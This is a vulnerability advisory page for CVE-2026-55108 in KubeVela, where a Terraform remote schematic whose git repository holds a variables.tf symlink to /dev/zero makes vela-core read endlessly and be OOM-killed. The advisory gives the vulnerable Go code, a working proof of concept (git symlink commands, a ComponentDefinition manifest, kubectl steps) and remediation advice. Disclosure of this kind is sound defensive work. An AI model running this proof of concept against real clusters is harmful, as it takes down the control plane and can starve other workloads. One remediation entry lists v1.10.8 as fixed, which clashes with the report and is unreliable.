CVE-2026-55108: High severity go/github.com/oam-dev/kubevela vulnerability

Published Aug 28, 2026
·
Updated

Summary

KubeVela's Terraform remote configuration loader can be abused to make vela-core read an unbounded byte stream into memory, causing an out-of-memory kill and a control-plane denial of service.

The issue is reachable when a user with permission to create or update a core.oam.dev/v1beta1 ComponentDefinition registers a Terraform remote schematic that points to a malicious or compromised git repository. The repository can contain a variables.tf symlink that resolves to /dev/zero after checkout. vela-core follows the symlink and calls os.ReadFile before HCL parsing, so memory grows until the controller is OOM killed.

Details

The affected code is in pkg/controller/utils/capability.go, inside GetTerraformConfigurationFromRemote:

https://github.com/kubevela/kubevela/blob/a24d3a9c6/pkg/controller/utils/capability.go#L231-L242

go tfPath := filepath.Join(cachePath, remotePath, "variables.tf") if , err := os.Stat(tfPath); err != nil { tfPath = filepath.Join(cachePath, remotePath, "main.tf") if , err := os.Stat(tfPath); err != nil { return "", errors.Wrap(err, "failed to find main.tf or variables.tf in Terraform configurations of the remote repository") } } conf, err := os.ReadFile(filepath.Clean(tfPath)) if err != nil { return "", errors.Wrap(err, "failed to read Terraform configuration") }

When a ComponentDefinition uses:

yaml schematic: terraform: type: remote configuration: <git repository URL>

the controller clones the user-supplied git repository and then reads variables.tf or main.tf from the checkout. The read path is built from attacker-controlled repository contents and terraform.path, but the code does not verify:

- whether the target is a regular file; - whether the resolved path remains inside the clone cache; - how large the file is before reading it.

Both os.Stat and os.ReadFile follow symlinks. If the repository contains variables.tf -> ../../../../../../dev/zero, then after checkout under the default cache path this symlink resolves to /dev/zero. os.Stat succeeds, and os.ReadFile reads from /dev/zero, which never returns EOF.

The failure happens during os.ReadFile, before the content reaches HCL parsing or ParseTerraformVariables, so later validation cannot prevent the OOM.

This vulnerability also has a path-traversal-like aspect, because symlinks and terraform.path can steer the read target outside the intended repository path. However, exposing arbitrary file contents would require the read data to pass HCL parsing before anything is written to a ConfigMap. Therefore, this report focuses on the availability impact caused by the unbounded read in os.ReadFile before HCL parsing, rather than a confidentiality impact.

PoC

Prerequisites:

- KubeVela is installed with the default configuration, for example in a kind cluster:

sh helm install --create-namespace -n vela-system kubevela kubevela/vela-core --wait

- I reproduced this with oamdev/vela-core:v1.10.8 and a vela-core memory limit of 1Gi. - The attacker has create / update permissions for core.oam.dev/v1beta1 ComponentDefinition in any namespace. - The tester can create a git repository that vela-core can clone.

1. Create a test git repository. In the repository root, add a relative variables.tf symlink that resolves to /dev/zero after checkout, then push it:

sh git init poc-tf-dos && cd poc-tf-dos ln -s ../../../../../../dev/zero variables.tf git add variables.tf && git commit -m "poc" git remote add origin https://github.com/<YOURORG>/<YOURREPO>.git git push -u origin main

2. Create poc-componentdefinition.yaml. Replace configuration with the repository URL from step 1:

yaml apiVersion: core.oam.dev/v1beta1 kind: ComponentDefinition metadata: name: dos-tf namespace: vela-system spec: workload: definition: apiVersion: apps/v1 kind: Deployment schematic: terraform: type: remote configuration: https://github.com/<YOURORG>/<YOURREPO>.git path: ""

The workload GVK should reference a type that exists in the cluster, such as apps/v1 Deployment.

3. Apply the manifest and observe vela-core:

sh kubectl apply -f poc-componentdefinition.yaml kubectl -n vela-system get pods -l app.kubernetes.io/name=vela-core -w

4. Confirm the OOMKilled termination:

sh kubectl get pod -n vela-system -l app.kubernetes.io/name=vela-core \ -o jsonpath='{.items[0].status.containerStatuses[0].lastState.terminated}{"\n"}'

Expected result:

text "exitCode":137 "reason":"OOMKilled"

The pod may then enter CrashLoopBackOff.

If the reconcile fails with stat .../main.tf: no such file or directory, check that the symlink is relative and resolves to /dev/zero from the checkout location. If the same ComponentDefinition was already reconciled, remove the stale clone cache under /root/.vela/terraform/<name> and retry.

Impact

This is a denial-of-service vulnerability affecting KubeVela control-plane availability.

A user who can create or update ComponentDefinition objects can cause the cluster-wide vela-core controller to be OOM killed.

If vela-core has a memory limit, the impact is likely contained to repeated OOMKilled restarts of the controller Pod. If no effective memory limit is configured, the unbounded read can also pressure node memory and affect other workloads running on the same node.

Affected Software

3 affected componentsFixes available
go/github.com/oam-dev/kubevela>=1.11.0-alpha.1<1.11.0-alpha.4
1.11.0-alpha.4
go/github.com/oam-dev/kubevela>=1.10.0-alpha.1<1.10.9
1.10.9
go/github.com/oam-dev/kubevela<1.9.14
1.9.14

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/oam-dev/kubevela to a version that resolves this vulnerability.

    Fixed in 1.11.0-alpha.4
  2. Upgrade

    Upgrade go/github.com/oam-dev/kubevela to a version that resolves this vulnerability.

    Fixed in 1.10.9
  3. Upgrade

    Upgrade go/github.com/oam-dev/kubevela to a version that resolves this vulnerability.

    Fixed in 1.9.14
  4. Upgrade

    Upgrade oamdev/vela-core to a version that resolves this vulnerability.

    Fixed in v1.10.8
  5. Configuration

    Configure `vela-core` to not follow symlinks when locating and reading `variables.tf` or `main.tf` from the cloned repo cache, since both `os.Stat` and `os.ReadFile` follow symlinks and the crafted `variables.tf -> ../../../../../../dev/zero` makes `os.ReadFile` read an unbounded stream (causing OOMKilled before HCL parsing).

    KubeVela (vela-core Terraform remote config loader) Symlink handling for `variables.tf`/`main.tf` reads = Disallow following symlinks when resolving/reading `filepath.Join(cachePath, remotePath, "variables.tf")` and `filepath.Join(cachePath, remotePath, "main.tf")`
  6. Configuration

    Ensure `vela-core` has an effective Kubernetes memory limit, because if configured the impact is likely contained to repeated OOMKilled restarts of the controller Pod; if no effective limit is configured, unbounded reads can pressure node memory and affect other workloads.

    Kubernetes Pod spec (vela-core) memory limit = Set an effective memory limit on the `vela-core` controller Pod
  7. Compensating control

    Restrict RBAC permissions for users who can create or update `core.oam.dev/v1beta1` `ComponentDefinition` objects, because this is reachable when such a user registers a Terraform `remote` schematic pointing to a malicious or compromised git repository.

  8. Operational

    If the same `ComponentDefinition` was already reconciled, remove the stale clone cache under `/root/.vela/terraform/<name>` and retry, as recommended in the report when reconcile fails due to missing files.

Event History

Aug 28, 2026
Advisory Published
via GitHub·04:13 PM
Data Sourced
via GitHub·04:13 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Who can trigger the denial of service?

A user who can create or update core.oam.dev/v1beta1 ComponentDefinition resources can trigger it by registering a Terraform remote schematic that points to a malicious or compromised Git repository.

2

What repository content is required for exploitation?

The remote repository must contain a variables.tf symlink that resolves to /dev/zero after checkout. The loader follows that symlink and reads it into memory before HCL parsing.

3

How can exposure be reduced if remediation cannot be applied immediately?

Limit create and update permission for core.oam.dev/v1beta1 ComponentDefinition resources to trusted users. Restrict Terraform remote schematics to trusted repositories, since a compromised repository can supply the malicious symlink.

4

How can I tell whether my environment is exposed to this attack path?

The attack path is present where vela-core processes Terraform remote schematics from repositories that a ComponentDefinition author can control or compromise. Check whether users with ComponentDefinition create or update permission can register such remote repositories.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203